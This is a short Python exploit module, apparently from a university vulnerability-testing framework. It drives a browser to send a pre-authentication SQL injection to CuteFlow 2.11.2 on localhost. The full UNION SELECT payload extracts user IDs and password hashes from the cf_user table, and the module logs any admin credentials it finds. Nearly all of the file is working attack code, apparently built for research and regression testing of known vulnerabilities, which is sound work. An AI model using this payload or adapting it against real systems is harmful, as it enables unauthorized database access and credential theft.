
# Copyright 2013 University of Maryland.  All rights reserved.
# Use of this source code is governed by a BSD-style
# license that can be found in the LICENSE.TXT file.


import sys
import os
import time

from selenium.common.exceptions import NoSuchElementException

import framework

class Exploit (framework.Exploit):

    attributes = {'Name' :        "CUTEFLOW_0005",
                  'Description' : "CuteFlow v2.11.2 SQL-Injection (pre-auth)",
                  'References' :  [['http://itsecuritysolutions.org/2012-07-01-CuteFlow-2.11.2-multiple-security-vulnerabilities/']], 
                  'Target' :      "CuteFlow 2.11.2",
                  'TargetLicense' : '',
                  'VulWikiPage' : "",
                  'Type' : 'SQL'
                  }

    def __init__(self, visible=False):
        framework.Exploit.__init__(self, visible)
        self.verified = False
        return
            
    def exploit(self):
        driver = self.create_selenium_driver()
        driver.get("http://localhost/cuteflow/pages/editmailinglist_step2.php?templateid=-1 union select 1,concat(strUserId,\":\",strPassword),3,4,5 FROM cf_user--")
        
        try:
            element = driver.get_element(by_xpath="//td[text()[contains(.,'admin:')]]")
            self.verified = True
            self.logger.info("Received Username:Hash %s", element.text)
        except NoSuchElementException:
            self.logger.error("Sql injection failed")
        
        
        driver.cleanup()
        return

    def verify(self):
        return self.verified
